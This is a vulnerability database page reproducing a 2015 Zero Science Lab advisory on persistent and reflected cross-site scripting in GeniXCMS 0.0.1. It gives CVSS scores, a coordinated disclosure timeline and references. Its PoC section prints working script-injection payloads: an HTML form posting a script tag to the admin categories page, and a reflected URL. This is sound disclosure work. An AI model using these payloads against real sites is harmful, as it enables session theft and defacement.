Lucene search

K
zeroscienceGjoko KrsticZSL-2015-5233
HistoryMar 10, 2015 - 12:00 a.m.

GeniXCMS v0.0.1 Persistent Script Insertion Vulnerability

2015-03-1000:00:00
Gjoko Krstic
zeroscience.mk
128

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

AI Score

6.7

Confidence

High

EPSS

0.003

Percentile

69.9%

Title: GeniXCMS v0.0.1 Persistent Script Insertion Vulnerability
Advisory ID: ZSL-2015-5233
Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (3/5)
Release Date: 10.03.2015

Summary

GenixCMS is a PHP Based Content Management System and Framework (CMSF). It’s a simple and lightweight of CMSF. Very suitable for Intermediate PHP developer to Advanced Developer. Some manual configurations are needed to make this application to work.

Description

Input passed to the ‘cat’ POST parameter is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of an affected site.

Vendor

MetalGenix - <http://www.genixcms.org>

Affected Version

0.0.1

Tested On

nginx/1.4.6 (Ubuntu)
Apache 2.4.10 (Win32)
PHP 5.6.3
MySQL 5.6.21

Vendor Status

[05.03.2015] Vulnerability discovered.
[05.03.2015] Vendor contacted.
[06.03.2015] Vendor responds asking more details.
[06.03.2015] Sent details to the vendor.
[07.03.2015] Vendor promises fix soon.
[10.03.2015] Vendor releases patched version.
[10.03.2015] Public security advisory released.

PoC

genixcms_xss.txt

Credits

Vulnerability discovered by Gjoko Krstic - <[email protected]>

References

[1] <http://blog.metalgenix.com/update-security-fix-and-add-newsletter-module/16&gt;
[2] <https://github.com/semplon/GeniXCMS/commit/698245488343396185b1b49e7482ee5b25541815&gt;
[3] <http://www.exploit-db.com/exploits/36321/&gt;
[4] <http://osvdb.org/show/osvdb/119394&gt;
[5] <http://osvdb.org/show/osvdb/119395&gt;
[6] <http://cxsecurity.com/issue/WLB-2015030066&gt;
[7] <http://packetstormsecurity.com/files/130771&gt;
[8] <https://exchange.xforce.ibmcloud.com/#/vulnerabilities/101497&gt;
[9] <http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-2678&gt;
[10] <https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2678&gt;

Changelog

[10.03.2015] - Initial release
[11.03.2015] - Added reference [4], [5], [6] and [7]
[13.03.2015] - Added reference [8]
[24.03.2015] - Added reference [9] and [10]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: [email protected]

<html><body><p>GeniXCMS v0.0.1 Persistent Script Insertion Vulnerability

Vendor: MetalGenix
Product web page: http://www.genixcms.org
Affected version: 0.0.1

Summary: GenixCMS is a PHP Based Content Management System and Framework (CMSF).
It's a simple and lightweight of CMSF. Very suitable for Intermediate PHP developer to
Advanced Developer. Some manual configurations are needed to make this application to
work.

Desc: Input passed to the 'cat' POST parameter is not properly sanitised before being
returned to the user. This can be exploited to execute arbitrary HTML and script code
in a user's browser session in context of an affected site.

Tested on: nginx/1.4.6 (Ubuntu)
           Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5233
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5233.php


05.03.2015

---


Stored:
-------


  </p>
<form action="http://localhost/genixcms/gxadmin/index.php?page=categories" method="POST">
<input name="parent" type="hidden" value="2"/>
<input name="cat" type="hidden" value='"&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;'/>
<input name="addcat" type="hidden" value=""/>
<input type="submit" value="Insert"/>
</form>
  




Reflected:
----------

http://localhost/genixcms/index.php?page=1<script>confirm("ZSL")</script>'
</body></html>

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

AI Score

6.7

Confidence

High

EPSS

0.003

Percentile

69.9%

Related for ZSL-2015-5233